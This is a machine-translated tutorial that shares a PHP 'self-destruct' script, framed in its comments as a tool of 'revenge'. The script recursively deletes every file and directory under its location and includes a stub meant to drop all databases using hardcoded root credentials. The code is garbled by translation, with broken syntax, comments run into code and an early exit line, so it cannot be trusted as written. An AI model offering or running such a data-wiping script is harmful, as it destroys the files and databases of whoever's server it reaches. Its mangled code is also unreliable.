PHP Self-Destruct program (use caution)

This article describes the PHP self-destruct program. Share to everyone for your reference. The implementation method is as follows: // +---------------------------------------------------------------------- // | kill!! // | The program will erase all files and directories in this directory // | If you set up database information, try to delete all database and table data (provided the permissions are sufficient!). ） // +---------------------------------------------------------------------- // | Version: $Id $ // +---------------------------------------------------------------------- ----------the database Configuration area----------------- The power of revenge is very scary, so no need to specify the database, all deleted! Define (' Db_user ', ' root '); Define (' Db_pwd ', ' root '); Define (' db_host ', ' localhost '); Define (' Db_port ', ' 3216 '); Define (' Db_damage ', true); When false, do not touch the database Run (); /** * Subject thought must be glorious and great! * * @return void **/ function Run () { deleting files Deletedir (); Deleting a database Deletedb (); } /** * hehe, delete all files in current directory (recursive) * * @return void **/ function Deletedir ($dir = ") { if ($dir = = ") { $dir = Realpath ('. '); } Echo $dir; Exit (); if (!handle= @opendir ($dir)) { Detects whether the directory to open exists Die ("No such directory"); } while (False!== ($file =readdir ($handle))) { if ($file!== "." && $file!== "..") { Exclude current directory from parent directory $file = $dir. Directory_separator. $file; if (Is_dir ($file)) { Deletedir ($file); }else{ if (@unlink ($file)) { echo "File $file deleted successfully. "; }else{ echo "File $file Delete failed! "; } } } if (@rmdir ($dir)) { echo "Directory $dir deleted successfully. \ n "; }else{ echo "Directory $dir Delete failed! \ n "; } } /** * Hehe, delete the database * * @return void **/ function Deletedb () { if (Db_damage = = = True) { Start } } Copy Code I hope this article is helpful to everyone's PHP programming.

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